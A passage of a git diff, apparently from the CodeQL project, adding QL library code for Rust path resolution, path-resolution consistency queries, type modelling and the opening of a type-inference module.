+  override Namespace getNamespace() { none() }
+
+  override TypeParam getTypeParam(int i) { none() }
+
+  override Visibility getVisibility() { none() }
+}
+
+private class ModuleItemNode extends ModuleLikeNode instanceof Module {
+  override string getName() { result = Module.super.getName().getText() }
+
+  override Namespace getNamespace() { result.isType() }
+
+  override Visibility getVisibility() { result = Module.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { none() }
+}
+
+private class StructItemNode extends ItemNode instanceof Struct {
+  override string getName() { result = Struct.super.getName().getText() }
+
+  override Namespace getNamespace() {
+    result.isType() // the struct itself
+    or
+    not super.getFieldList() instanceof StructFieldList and
+    result.isValue() // the constructor
+  }
+
+  override Visibility getVisibility() { result = Struct.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+}
+
+class TraitItemNode extends ImplOrTraitItemNode instanceof Trait {
+  pragma[nomagic]
+  Path getABoundPath() {
+    result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath()
+  }
+
+  ItemNode resolveABound() { result = resolvePath(this.getABoundPath()) }
+
+  override AssocItemNode getAnAssocItem() { result = super.getAssocItemList().getAnAssocItem() }
+
+  override string getName() { result = Trait.super.getName().getText() }
+
+  override Namespace getNamespace() { result.isType() }
+
+  override Visibility getVisibility() { result = Trait.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+}
+
+class TypeAliasItemNode extends AssocItemNode instanceof TypeAlias {
+  override string getName() { result = TypeAlias.super.getName().getText() }
+
+  override predicate hasImplementation() { super.hasTypeRepr() }
+
+  override Namespace getNamespace() { result.isType() }
+
+  override Visibility getVisibility() { result = TypeAlias.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+}
+
+private class UnionItemNode extends ItemNode instanceof Union {
+  override string getName() { result = Union.super.getName().getText() }
+
+  override Namespace getNamespace() { result.isType() }
+
+  override Visibility getVisibility() { result = Union.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+}
+
+private class UseItemNode extends ItemNode instanceof Use {
+  override string getName() { result = "(use)" }
+
+  override Namespace getNamespace() { none() }
+
+  override Visibility getVisibility() { result = Use.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { none() }
+}
+
+private class BlockExprItemNode extends ItemNode instanceof BlockExpr {
+  override string getName() { result = "(block expr)" }
+
+  override Namespace getNamespace() { none() }
+
+  override Visibility getVisibility() { none() }
+
+  override TypeParam getTypeParam(int i) { none() }
+}
+
+private class TypeParamItemNode extends ItemNode instanceof TypeParam {
+  pragma[nomagic]
+  Path getABoundPath() {
+    result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath()
+  }
+
+  ItemNode resolveABound() { result = resolvePath(this.getABoundPath()) }
+
+  /**
+   * Holds if this type parameter has a trait bound. Examples:
+   *
+   * ```rust
+   * impl<T> Foo<T> { ... } // has no trait bound
+   *
+   * impl<T: Trait> Foo<T> { ... } // has trait bound
+   *
+   * impl<T> Foo<T> where T: Trait { ... } // has trait bound
+   * ```
+   */
+  pragma[nomagic]
+  predicate hasTraitBound() {
+    exists(this.getABoundPath())
+    or
+    exists(ItemNode declaringItem, WherePred wp |
+      this = resolveTypeParamPathTypeRepr(wp.getTypeRepr()) and
+      wp = declaringItem.getADescendant() and
+      this = declaringItem.getADescendant()
+    )
+  }
+
+  /**
+   * Holds if this type parameter has no trait bound. Examples:
+   *
+   * ```rust
+   * impl<T> Foo<T> { ... } // has no trait bound
+   *
+   * impl<T: Trait> Foo<T> { ... } // has trait bound
+   *
+   * impl<T> Foo<T> where T: Trait { ... } // has trait bound
+   * ```
+   */
+  pragma[nomagic]
+  predicate hasNoTraitBound() { not this.hasTraitBound() }
+
+  override string getName() { result = TypeParam.super.getName().getText() }
+
+  override Namespace getNamespace() { result.isType() }
+
+  override Visibility getVisibility() { none() }
+
+  override TypeParam getTypeParam(int i) { none() }
+
+  override Location getLocation() { result = TypeParam.super.getName().getLocation() }
+}
+
+/** Holds if `item` has the name `name` and is a top-level item inside `f`. */
+private predicate sourceFileEdge(SourceFile f, string name, ItemNode item) {
+  item = f.getAnItem() and
+  name = item.getName()
+}
+
+/** Holds if `f` is available as `mod name;` inside `folder`. */
+private predicate fileModule(SourceFile f, string name, Folder folder) {
+  exists(File file | file = f.getFile() |
+    file.getBaseName() = name + ".rs" and
+    folder = file.getParentContainer()
+    or
+    exists(Folder encl |
+      file.getBaseName() = "mod.rs" and
+      encl = file.getParentContainer() and
+      name = encl.getBaseName() and
+      folder = encl.getParentContainer()
+    )
+  )
+}
+
+/**
+ * Holds if `m` is a `mod name;` module declaration happening in a file named
+ * `fileName.rs`, inside the folder `parent`.
+ */
+private predicate modImport(Module m, string fileName, string name, Folder parent) {
+  exists(File f |
+    f = m.getFile() and
+    not m.hasItemList() and
+    // TODO: handle
+    // ```
+    // #[path = "foo.rs"]
+    // mod bar;
+    // ```
+    not m.getAnAttr().getMeta().getPath().getText() = "path" and
+    name = m.getName().getText() and
+    parent = f.getParentContainer() and
+    fileName = f.getStem()
+  )
+}
+
+/** Holds if `m` is a `mod name;` item importing file `f`. */
+private predicate fileImport(Module m, SourceFile f) {
+  exists(string fileName, string name, Folder parent | modImport(m, fileName, name, parent) |
+    // sibling import
+    fileModule(f, name, parent)
+    or
+    // child import
+    fileModule(f, name, parent.getFolder(fileName))
+  )
+}
+
+/**
+ * Holds if `mod` is a `mod name;` item targeting a file resulting in `item` being
+ * in scope under the name `name`.
+ */
+pragma[nomagic]
+private predicate fileImportEdge(Module mod, string name, ItemNode item) {
+  exists(SourceFileItemNode f |
+    fileImport(mod, f) and
+    item = f.getASuccessor(name)
+  )
+}
+
+/**
+ * Holds if crate `c` defines the item `i` named `name`.
+ */
+pragma[nomagic]
+private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) {
+  i = c.getModuleNode().getASuccessor(name) and
+  not i instanceof Crate
+}
+
+/**
+ * Holds if `m` depends on crate `dep` named `name`.
+ */
+private predicate crateDependencyEdge(ModuleLikeNode m, string name, CrateItemNode dep) {
+  exists(CrateItemNode c | dep = c.(Crate).getDependency(name) |
+    // entry module/entry source file
+    m = c.getModuleNode()
+    or
+    // entry/transitive source file
+    m = c.getASourceFile()
+  )
+}
+
+private predicate useTreeDeclares(UseTree tree, string name) {
+  not tree.isGlob() and
+  not exists(tree.getUseTreeList()) and
+  (
+    name = tree.getRename().getName().getText() and
+    name != "_"
+    or
+    not tree.hasRename() and
+    name = tree.getPath().getText()
+  )
+  or
+  exists(UseTree mid |
+    useTreeDeclares(mid, name) and
+    mid = tree.getUseTreeList().getAUseTree()
+  )
+}
+
+/**
+ * Holds if `item` explicitly declares a sub item named `name` in the
+ * namespace `ns`. This includes items declared by `use` statements,
+ * except for glob imports.
+ */
+pragma[nomagic]
+private predicate declares(ItemNode item, Namespace ns, string name) {
+  exists(ItemNode child | child.getImmediateParent() = item |
+    child.getName() = name and
+    child.getNamespace() = ns
+    or
+    useTreeDeclares(child.(Use).getUseTree(), name) and
+    exists(ns) // `use foo::bar` can refer to both a value and a type
+  )
+  or
+  exists(MacroCallItemNode call |
+    declares(call, ns, name) and
+    call.getImmediateParent() = item
+  )
+}
+
+/** A path that does not access a local variable. */
+private class RelevantPath extends Path {
+  RelevantPath() { not this = any(VariableAccess va).(PathExpr).getPath() }
+
+  pragma[nomagic]
+  predicate isUnqualified(string name) {
+    not exists(this.getQualifier()) and
+    not this = any(UseTreeList list).getAUseTree().getPath() and
+    name = this.getText()
+  }
+}
+
+/**
+ * Holds if the unqualified path `p` references an item named `name`, and `name`
+ * may be looked up in the `ns` namespace inside enclosing item `encl`.
+ */
+pragma[nomagic]
+private predicate unqualifiedPathLookup(RelevantPath p, string name, Namespace ns, ItemNode encl) {
+  exists(ItemNode encl0 |
+    // lookup in the immediately enclosing item
+    p.isUnqualified(name) and
+    encl0.getADescendant() = p and
+    exists(ns)
+    or
+    // lookup in an outer scope, but only if the item is not declared in inner scope
+    exists(ItemNode mid |
+      unqualifiedPathLookup(p, name, ns, mid) and
+      not declares(mid, ns, name)
+    |
+      // nested modules do not have unqualified access to items from outer modules,
+      // except for items declared at top-level in the source file
+      if mid instanceof Module
+      then encl0.(SourceFileItemNode) = mid.getImmediateParent+()
+      else encl0 = mid.getImmediateParent()
+    )
+  |
+    // functions in `impl` blocks need to use explicit `Self::` to access other
+    // functions in the `impl` block
+    if encl0 instanceof ImplOrTraitItemNode and ns.isValue()
+    then encl = encl0.getImmediateParent()
+    else encl = encl0
+  )
+}
+
+pragma[nomagic]
+private ItemNode getASuccessor(ItemNode pred, string name, Namespace ns) {
+  result = pred.getASuccessor(name) and
+  ns = result.getNamespace()
+}
+
+pragma[nomagic]
+private ItemNode unqualifiedPathLookup(RelevantPath path, Namespace ns) {
+  exists(ItemNode encl, string name |
+    unqualifiedPathLookup(path, name, ns, encl) and
+    result = getASuccessor(encl, name, ns)
+  )
+}
+
+pragma[nomagic]
+private predicate isUnqualifiedSelfPath(RelevantPath path) { path.isUnqualified("Self") }
+
+pragma[nomagic]
+private ItemNode resolvePath0(RelevantPath path, Namespace ns) {
+  exists(ItemNode res |
+    res = unqualifiedPathLookup(path, ns) and
+    if
+      not any(RelevantPath parent).getQualifier() = path and
+      isUnqualifiedSelfPath(path) and
+      res instanceof ImplItemNode
+    then result = res.(ImplItemNode).resolveSelfTy()
+    else result = res
+  )
+  or
+  exists(ItemNode q, string name |
+    q = resolvePathQualifier(path, name) and
+    result = q.getASuccessor(name) and
+    ns = result.getNamespace()
+  )
+  or
+  result = resolveUseTreeListItem(_, _, path) and
+  ns = result.getNamespace()
+}
+
+/** Holds if path `p` must be looked up in namespace `n`. */
+private predicate pathUsesNamespace(Path p, Namespace n) {
+  n.isValue() and
+  (
+    p = any(PathExpr pe).getPath()
+    or
+    p = any(TupleStructPat tsp).getPath()
+  )
+  or
+  n.isType() and
+  (
+    p = any(Visibility v).getPath()
+    or
+    p = any(StructExpr re).getPath()
+    or
+    p = any(PathTypeRepr ptr).getPath()
+    or
+    p = any(StructPat rp).getPath()
+    or
+    p =
+      any(UseTree use |
+        use.isGlob()
+        or
+        use.hasUseTreeList()
+      ).getPath()
+    or
+    p = any(Path parent).getQualifier()
+  )
+}
+
+pragma[nomagic]
+private ItemNode resolvePath1(RelevantPath path) {
+  exists(Namespace ns | result = resolvePath0(path, ns) |
+    pathUsesNamespace(path, ns)
+    or
+    not pathUsesNamespace(path, _) and
+    not path = any(MacroCall mc).getPath()
+  )
+}
+
+pragma[nomagic]
+private ItemNode resolvePathPrivate(
+  RelevantPath path, ModuleLikeNode itemParent, ModuleLikeNode pathParent
+) {
+  result = resolvePath1(path) and
+  itemParent = result.getImmediateParentModule() and
+  not result.isPublic() and
+  (
+    pathParent.getADescendant() = path
+    or
+    pathParent = any(ItemNode mid | path = mid.getADescendant()).getImmediateParentModule()
+  )
+}
+
+/**
+ * Gets a module that has access to private items defined inside `itemParent`.
+ *
+ * According to [The Rust Reference][1] this is either `itemParent` itself or any
+ * descendant of `itemParent`.
+ *
+ * [1]: https://doc.rust-lang.org/reference/visibility-and-privacy.html#r-vis.access
+ */
+pragma[nomagic]
+private ModuleLikeNode getAPrivateVisibleModule(ModuleLikeNode itemParent) {
+  exists(resolvePathPrivate(_, itemParent, _)) and
+  result.getImmediateParentModule*() = itemParent
+}
+
+/** Gets the item that `path` resolves to, if any. */
+cached
+ItemNode resolvePath(RelevantPath path) {
+  result = resolvePath1(path) and
+  result.isPublic()
+  or
+  exists(ModuleLikeNode itemParent, ModuleLikeNode pathParent |
+    result = resolvePathPrivate(path, itemParent, pathParent) and
+    pathParent = getAPrivateVisibleModule(itemParent)
+  )
+}
+
+pragma[nomagic]
+private ItemNode resolvePathQualifier(RelevantPath path, string name) {
+  result = resolvePath(path.getQualifier()) and
+  name = path.getText()
+}
+
+private predicate isUseTreeSubPath(UseTree tree, RelevantPath path) {
+  path = tree.getPath()
+  or
+  exists(RelevantPath mid |
+    isUseTreeSubPath(tree, mid) and
+    path = mid.getQualifier()
+  )
+}
+
+pragma[nomagic]
+private predicate isUseTreeSubPathUnqualified(UseTree tree, RelevantPath path, string name) {
+  isUseTreeSubPath(tree, path) and
+  not exists(path.getQualifier()) and
+  name = path.getText()
+}
+
+pragma[nomagic]
+private ItemNode resolveUseTreeListItem(Use use, UseTree tree, RelevantPath path) {
+  exists(UseTree midTree, ItemNode mid, string name |
+    mid = resolveUseTreeListItem(use, midTree) and
+    tree = midTree.getUseTreeList().getAUseTree() and
+    isUseTreeSubPathUnqualified(tree, path, pragma[only_bind_into](name)) and
+    result = mid.getASuccessor(pragma[only_bind_into](name))
+  )
+  or
+  exists(ItemNode q, string name |
+    q = resolveUseTreeListItemQualifier(use, tree, path, name) and
+    result = q.getASuccessor(name)
+  )
+}
+
+pragma[nomagic]
+private ItemNode resolveUseTreeListItemQualifier(
+  Use use, UseTree tree, RelevantPath path, string name
+) {
+  result = resolveUseTreeListItem(use, tree, path.getQualifier()) and
+  name = path.getText()
+}
+
+pragma[nomagic]
+private ItemNode resolveUseTreeListItem(Use use, UseTree tree) {
+  tree = use.getUseTree() and
+  result = resolvePath(tree.getPath())
+  or
+  result = resolveUseTreeListItem(use, tree, tree.getPath())
+}
+
+/** Holds if `use` imports `item` as `name`. */
+pragma[nomagic]
+private predicate useImportEdge(Use use, string name, ItemNode item) {
+  exists(UseTree tree, ItemNode used |
+    used = resolveUseTreeListItem(use, tree) and
+    not tree.hasUseTreeList() and
+    if tree.isGlob()
+    then
+      exists(ItemNode encl, Namespace ns |
+        encl.getADescendant() = use and
+        item = getASuccessor(used, name, ns) and
+        // glob imports can be shadowed
+        not declares(encl, ns, name)
+      )
+    else item = used
+  |
+    not tree.hasRename() and
+    name = item.getName()
+    or
+    name = tree.getRename().getName().getText() and
+    name != "_"
+  )
+}
+
+/** Provides predicates for debugging the path resolution implementation. */
+private module Debug {
+  private Locatable getRelevantLocatable() {
+    exists(string filepath, int startline, int startcolumn, int endline, int endcolumn |
+      result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and
+      filepath.matches("%/main.rs") and
+      startline = 1
+    )
+  }
+
+  predicate debugUnqualifiedPathLookup(RelevantPath p, string name, Namespace ns, ItemNode encl) {
+    p = getRelevantLocatable() and
+    unqualifiedPathLookup(p, name, ns, encl)
+  }
+
+  ItemNode debugResolvePath(RelevantPath path) {
+    path = getRelevantLocatable() and
+    result = resolvePath(path)
+  }
+
+  predicate debugUseImportEdge(Use use, string name, ItemNode item) {
+    use = getRelevantLocatable() and
+    useImportEdge(use, name, item)
+  }
+
+  ItemNode debugGetASuccessorRec(ItemNode i, string name) {
+    i = getRelevantLocatable() and
+    result = i.getASuccessor(name)
+  }
+
+  predicate debugFileImportEdge(Module mod, string name, ItemNode item) {
+    mod = getRelevantLocatable() and
+    fileImportEdge(mod, name, item)
+  }
+
+  predicate debugFileImport(Module m, SourceFile f) {
+    m = getRelevantLocatable() and
+    fileImport(m, f)
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll
new file mode 100644
index 000000000000..75d4ac8a6e83
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll
@@ -0,0 +1,54 @@
+/**
+ * Provides classes for recognizing path resolution inconsistencies.
+ */
+
+private import rust
+private import PathResolution
+
+/** Holds if `p` may resolve to multiple items including `i`. */
+query predicate multiplePathResolutions(Path p, ItemNode i) {
+  p.fromSource() and
+  i = resolvePath(p) and
+  // `use foo::bar` may use both a type `bar` and a value `bar`
+  not p =
+    any(UseTree use |
+      not use.isGlob() and
+      not use.hasUseTreeList()
+    ).getPath() and
+  strictcount(resolvePath(p)) > 1
+}
+
+/** Holds if `call` has multiple static call targets including `target`. */
+query predicate multipleStaticCallTargets(CallExprBase call, Callable target) {
+  target = call.getStaticTarget() and
+  strictcount(call.getStaticTarget()) > 1
+}
+
+/** Holds if `fe` resolves to multiple record fields including `field`. */
+query predicate multipleStructFields(FieldExpr fe, StructField field) {
+  field = fe.getStructField() and
+  strictcount(fe.getStructField()) > 1
+}
+
+/** Holds if `fe` resolves to multiple tuple fields including `field`. */
+query predicate multipleTupleFields(FieldExpr fe, TupleField field) {
+  field = fe.getTupleField() and
+  strictcount(fe.getTupleField()) > 1
+}
+
+/**
+ * Gets counts of path resolution inconsistencies of each type.
+ */
+int getPathResolutionInconsistencyCounts(string type) {
+  type = "Multiple path resolutions" and
+  result = count(Path p | multiplePathResolutions(p, _) | p)
+  or
+  type = "Multiple static call targets" and
+  result = count(CallExprBase call | multipleStaticCallTargets(call, _) | call)
+  or
+  type = "Multiple record fields" and
+  result = count(FieldExpr fe | multipleStructFields(fe, _) | fe)
+  or
+  type = "Multiple tuple fields" and
+  result = count(FieldExpr fe | multipleTupleFields(fe, _) | fe)
+}
diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll
new file mode 100644
index 000000000000..8bf9f4a1c11f
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/internal/Type.qll
@@ -0,0 +1,344 @@
+/** Provides classes representing types without type arguments. */
+
+private import rust
+private import PathResolution
+private import TypeInference
+private import TypeMention
+private import codeql.rust.internal.CachedStages
+
+cached
+newtype TType =
+  TStruct(Struct s) { Stages::TypeInference::ref() } or
+  TEnum(Enum e) or
+  TTrait(Trait t) or
+  TImpl(Impl i) or
+  TArrayType() or // todo: add size?
+  TRefType() or // todo: add mut?
+  TTypeParamTypeParameter(TypeParam t) or
+  TRefTypeParameter() or
+  TSelfTypeParameter()
+
+/**
+ * A type without type arguments.
+ *
+ * Note that this type includes things that, strictly speaking, are not Rust
+ * types, such as traits and implementation blocks.
+ */
+abstract class Type extends TType {
+  /** Gets the method `name` belonging to this type, if any. */
+  pragma[nomagic]
+  abstract Function getMethod(string name);
+
+  /** Gets the struct field `name` belonging to this type, if any. */
+  pragma[nomagic]
+  abstract StructField getStructField(string name);
+
+  /** Gets the `i`th tuple field belonging to this type, if any. */
+  pragma[nomagic]
+  abstract TupleField getTupleField(int i);
+
+  /** Gets the `i`th type parameter of this type, if any. */
+  abstract TypeParameter getTypeParameter(int i);
+
+  /** Gets a type parameter of this type. */
+  final TypeParameter getATypeParameter() { result = this.getTypeParameter(_) }
+
+  /**
+   * Gets an AST node that mentions a base type of this type, if any.
+   *
+   * Although Rust doesn't have traditional OOP-style inheritance, we model trait
+   * bounds and `impl` blocks as base types. Example:
+   *
+   * ```rust
+   * trait T1 {}
+   *
+   * trait T2 {}
+   *
+   * trait T3 : T1, T2 {}
+   * //    ^^ `this`
+   * //         ^^ `result`
+   * //             ^^ `result`
+   * ```
+   */
+  abstract TypeMention getABaseTypeMention();
+
+  /** Gets a textual representation of this type. */
+  abstract string toString();
+
+  /** Gets the location of this type. */
+  abstract Location getLocation();
+}
+
+abstract private class StructOrEnumType extends Type {
+  abstract ItemNode asItemNode();
+
+  final override Function getMethod(string name) {
+    result = this.asItemNode().getASuccessor(name) and
+    exists(ImplOrTraitItemNode impl | result = impl.getAnAssocItem() |
+      impl instanceof Trait
+      or
+      impl.(ImplItemNode).isFullyParametric()
+    )
+  }
+
+  /** Gets all of the fully parametric `impl` blocks that target this type. */
+  final override ImplMention getABaseTypeMention() {
+    this.asItemNode() = result.resolveSelfTy() and
+    result.isFullyParametric()
+  }
+}
+
+/** A struct type. */
+class StructType extends StructOrEnumType, TStruct {
+  private Struct struct;
+
+  StructType() { this = TStruct(struct) }
+
+  override ItemNode asItemNode() { result = struct }
+
+  override StructField getStructField(string name) { result = struct.getStructField(name) }
+
+  override TupleField getTupleField(int i) { result = struct.getTupleField(i) }
+
+  override TypeParameter getTypeParameter(int i) {
+    result = TTypeParamTypeParameter(struct.getGenericParamList().getTypeParam(i))
+  }
+
+  override string toString() { result = struct.toString() }
+
+  override Location getLocation() { result = struct.getLocation() }
+}
+
+/** An enum type. */
+class EnumType extends StructOrEnumType, TEnum {
+  private Enum enum;
+
+  EnumType() { this = TEnum(enum) }
+
+  override ItemNode asItemNode() { result = enum }
+
+  override StructField getStructField(string name) { none() }
+
+  override TupleField getTupleField(int i) { none() }
+
+  override TypeParameter getTypeParameter(int i) {
+    result = TTypeParamTypeParameter(enum.getGenericParamList().getTypeParam(i))
+  }
+
+  override string toString() { result = enum.toString() }
+
+  override Location getLocation() { result = enum.getLocation() }
+}
+
+/** A trait type. */
+class TraitType extends Type, TTrait {
+  private Trait trait;
+
+  TraitType() { this = TTrait(trait) }
+
+  override Function getMethod(string name) { result = trait.(ItemNode).getASuccessor(name) }
+
+  override StructField getStructField(string name) { none() }
+
+  override TupleField getTupleField(int i) { none() }
+
+  override TypeParameter getTypeParameter(int i) {
+    result = TTypeParamTypeParameter(trait.getGenericParamList().getTypeParam(i))
+    or
+    result = TSelfTypeParameter() and
+    i = -1
+  }
+
+  pragma[nomagic]
+  private TypeReprMention getABoundMention() {
+    result = trait.getTypeBoundList().getABound().getTypeRepr()
+  }
+
+  /** Gets any of the trait bounds of this trait. */
+  override TypeMention getABaseTypeMention() { result = this.getABoundMention() }
+
+  override string toString() { result = trait.toString() }
+
+  override Location getLocation() { result = trait.getLocation() }
+}
+
+/**
+ * An `impl` block type.
+ *
+ * Although `impl` blocks are not really types, we treat them as such in order
+ * to be able to match type parameters from structs (or enums) with type
+ * parameters from `impl` blocks. For example, in
+ *
+ * ```rust
+ * struct S<T1>(T1);
+ *
+ * impl<T2> S<T2> {
+ *   fn id(self) -> S<T2> { self }
+ * }
+ *
+ * let x : S(i64) = S(42);
+ * x.id();
+ * ```
+ *
+ * we pretend that the `impl` block is a base type mention of the struct `S`,
+ * with type argument `T1`. This means that from knowing that `x` has type
+ * `S(i64)`, we can first match `i64` with `T1`, and then by matching `T1` with
+ * `T2`, we can match `i64` with `T2`.
+ *
+ * `impl` blocks can also have base type mentions, namely the trait that they
+ * implement (if any). Example:
+ *
+ * ```rust
+ * struct S<T1>(T1);
+ *
+ * trait Trait<T2> {
+ *   fn f(self) -> T2;
+ *
+ *   fn g(self) -> T2 { self.f() }
+ * }
+ *
+ * impl<T3> Trait<T3> for S<T3> { // `Trait<T3>` is a base type mention of this `impl` block
+ *   fn f(self) -> T3 {
+ *     match self {
+ *       S(x) => x
+ *     }
+ *   }
+ * }
+ *
+ * let x : S(i64) = S(42);
+ * x.g();
+ * ```
+ *
+ * In this case we can match `i64` with `T1`, `T1` with `T3`, and `T3` with `T2`,
+ * allowing us match `i64` with `T2`, and hence infer that the return type of `g`
+ * is `i64`.
+ */
+class ImplType extends Type, TImpl {
+  private Impl impl;
+
+  ImplType() { this = TImpl(impl) }
+
+  override Function getMethod(string name) { result = impl.(ItemNode).getASuccessor(name) }
+
+  override StructField getStructField(string name) { none() }
+
+  override TupleField getTupleField(int i) { none() }
+
+  override TypeParameter getTypeParameter(int i) {
+    result = TTypeParamTypeParameter(impl.getGenericParamList().getTypeParam(i))
+    or
+    result = TSelfTypeParameter() and
+    i = -1
+  }
+
+  override TypeMention getABaseTypeMention() { result = impl.getTrait() }
+
+  override string toString() { result = impl.toString() }
+
+  override Location getLocation() { result = impl.getLocation() }
+}
+
+/**
+ * An array type.
+ *
+ * Array types like `[i64; 5]` are modeled as normal generic types
+ * with a single type argument.
+ */
+class ArrayType extends Type, TArrayType {
+  ArrayType() { this = TArrayType() }
+
+  override Function getMethod(string name) { none() }
+
+  override StructField getStructField(string name) { none() }
+
+  override TupleField getTupleField(int i) { none() }
+
+  override TypeParameter getTypeParameter(int i) {
+    none() // todo
+  }
+
+  override TypeMention getABaseTypeMention() { none() }
+
+  override string toString() { result = "[]" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/**
+ * A reference type.
+ *
+ * Reference types like `& i64` are modeled as normal generic types
+ * with a single type argument.
+ */
+class RefType extends Type, TRefType {
+  RefType() { this = TRefType() }
+
+  override Function getMethod(string name) { none() }
+
+  override StructField getStructField(string name) { none() }
+
+  override TupleField getTupleField(int i) { none() }
+
+  override TypeParameter getTypeParameter(int i) {
+    result = TRefTypeParameter() and
+    i = 0
+  }
+
+  override TypeMention getABaseTypeMention() { none() }
+
+  override string toString() { result = "&" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/** A type parameter. */
+abstract class TypeParameter extends Type {
+  override TypeMention getABaseTypeMention() { none() }
+
+  override StructField getStructField(string name) { none() }
+
+  override TupleField getTupleField(int i) { none() }
+
+  override TypeParameter getTypeParameter(int i) { none() }
+}
+
+/** A type parameter from source code. */
+class TypeParamTypeParameter extends TypeParameter, TTypeParamTypeParameter {
+  private TypeParam typeParam;
+
+  TypeParamTypeParameter() { this = TTypeParamTypeParameter(typeParam) }
+
+  TypeParam getTypeParam() { result = typeParam }
+
+  override Function getMethod(string name) {
+    // NOTE: If the type parameter has trait bounds, then this finds methods
+    // on the bounding traits.
+    result = typeParam.(ItemNode).getASuccessor(name)
+  }
+
+  override string toString() { result = typeParam.toString() }
+
+  override Location getLocation() { result = typeParam.getLocation() }
+
+  final override TypeMention getABaseTypeMention() {
+    result = typeParam.getTypeBoundList().getABound().getTypeRepr()
+  }
+}
+
+/** An implicit reference type parameter. */
+class RefTypeParameter extends TypeParameter, TRefTypeParameter {
+  override Function getMethod(string name) { none() }
+
+  override string toString() { result = "&T" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
+
+/** An implicit `Self` type parameter. */
+class SelfTypeParameter extends TypeParameter, TSelfTypeParameter {
+  override Function getMethod(string name) { none() }
+
+  override string toString() { result = "(Self)" }
+
+  override Location getLocation() { result instanceof EmptyLocation }
+}
diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll
new file mode 100644
index 000000000000..5c59cee8a171
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll
@@ -0,0 +1,1012 @@
+/** Provides functionality for inferring types. */
+
+private import rust
+private import PathResolution
+private import Type
+private import Type as T
+private import TypeMention
+private import codeql.typeinference.internal.TypeInference
+
+class Type = T::Type;
+
+private module Input1 implements InputSig1<Location> {
+  private import Type as T
+  private import codeql.rust.elements.internal.generated.Raw
+  private import codeql.rust.elements.internal.generated.Synth
+
+  class Type = T::Type;
+
+  class TypeParameter = T::TypeParameter;
+
+  private newtype TTypeArgumentPosition =
+    // method type parameters are matched by position instead of by type
+    // parameter entity, to avoid extra recursion through method call resolution
+    TMethodTypeArgumentPosition(int pos) {
+      exists(any(MethodCallExpr mce).getGenericArgList().getTypeArg(pos))
+    } or
+    TTypeParamTypeArgumentPosition(TypeParam tp)
+
+  class TypeArgumentPosition extends TTypeArgumentPosition {
+    int asMethodTypeArgumentPosition() { this = TMethodTypeArgumentPosition(result) }
+
+    TypeParam asTypeParam() { this = TTypeParamTypeArgumentPosition(result) }
+
+    string toString() {
+      result = this.asMethodTypeArgumentPosition().toString()
+      or
+      result = this.asTypeParam().toString()
+    }
+  }
+
+  class TypeParameterPosition = TypeParam;
+
+  bindingset[apos]
+  bindingset[ppos]
+  predicate typeArgumentParameterPositionMatch(TypeArgumentPosition apos, TypeParameterPosition ppos) {
+    apos.asTypeParam() = ppos
+    or
+    apos.asMethodTypeArgumentPosition() = ppos.getPosition()
+  }
+
+  private predicate id(Raw::TypeParam x, Raw::TypeParam y) { x = y }
+
+  private predicate idOfRaw(Raw::TypeParam x, int y) = equivalenceRelation(id/2)(x, y)
+
+  private int idOf(TypeParam node) { idOfRaw(Synth::convertAstNodeToRaw(node), result) }
+
+  int getTypeParameterId(TypeParameter tp) {
+    tp =
+      rank[result](TypeParameter tp0, int kind, int id |
+        tp0 instanceof RefTypeParameter and
+        kind = 0 and
+        id = 0
+        or
+        tp0 instanceof SelfTypeParameter and
+        kind = 0 and
+        id = 1
+        or
+        id = idOf(tp0.(TypeParamTypeParameter).getTypeParam()) and
+        kind = 1
+      |
+        tp0 order by kind, id
+      )
+  }
+}
+
+private import Input1
+
+private module M1 = Make1<Location, Input1>;
+
+private import M1
+
+class TypePath = M1::TypePath;
+
+module TypePath = M1::TypePath;
+
+private module Input2 implements InputSig2 {
+  private import TypeMention as TM
+
+  class TypeMention = TM::TypeMention;
+
+  TypeMention getABaseTypeMention(Type t) { result = t.getABaseTypeMention() }
+}
+
+private module M2 = Make2<Input2>;
+
+private import M2
+
+module Consistency = M2::Consistency;
+
+/** Gets the type annotation that applies to `n`, if any. */
+private TypeMention getTypeAnnotation(AstNode n) {
+  exists(LetStmt let |
+    n = let.getPat() and
+    result = let.getTypeRepr()
+  )
+  or
+  result = n.(SelfParam).getTypeRepr()
+  or
+  exists(Param p |
+    n = p.getPat() and
+    result = p.getTypeRepr()
+  )
+  or
+  exists(Function f |
+    result = f.getRetType().getTypeRepr() and
+    n = f.getBody()
+  )
+}
+
+/** Gets the type of `n`, which has an explicit type annotation. */
+pragma[nomagic]
+private Type inferAnnotatedType(AstNode n, TypePath path) {
+  result = getTypeAnnotation(n).resolveTypeAt(path)
+}
+
+/**
+ * Holds if the type of `n1` at `path1` is the same as the type of `n2` at
+ * `path2` and type information should propagate in both directions through the
+ * type equality.
+ */
+bindingset[path1]
+bindingset[path2]
+private predicate typeEquality(AstNode n1, TypePath path1, AstNode n2, TypePath path2) {
+  exists(Variable v |
+    path1 = path2 and
+    n1 = v.getAnAccess()
+  |
+    n2 = v.getPat()
+    or
+    n2 = v.getParameter().(SelfParam)
+  )
+  or
+  exists(LetStmt let |
+    let.getPat() = n1 and
